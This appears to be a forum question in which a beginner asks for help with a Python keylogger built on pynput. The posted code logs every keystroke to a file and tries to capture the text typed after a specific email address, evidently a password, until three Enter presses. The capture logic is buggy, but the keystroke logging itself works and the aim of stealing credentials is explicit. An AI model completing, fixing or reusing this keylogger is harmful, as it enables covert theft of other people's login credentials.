I am writing a Keylogger in python and I need that when the variable keydata == "example@hotmail.com" match, a file is created where it will store the words after the verified keydata variable until 3 key.enters are done.
Everything works correctly with the keywords key.enter, key.space.
Help please I'm a beginner!!
from pynput.keyboard import Listener
def prconsole(key):
keydata = str(key)
keydata = keydata.replace("'","")
if keydata == "Key.space":
keydata = (" ")
if keydata == "Key.enter":
keydata = ("\n")
if keydata == "example@hotmail.com":
deTPass(keydata)
SaveF(keydata)
def SaveF(keydata):
with open ("record.txt", 'a') as f:
f.write(keydata)
def deTPass(keydata):
with open ("logging.txt", 'a') as c:
c.write(keydata)
i = 0
while i < 3:
if keydata == "Key.enter":
i = i + 1
c.close()
#SPACE BUG :)
with Listener(on_press=prconsole) as l:
l.join()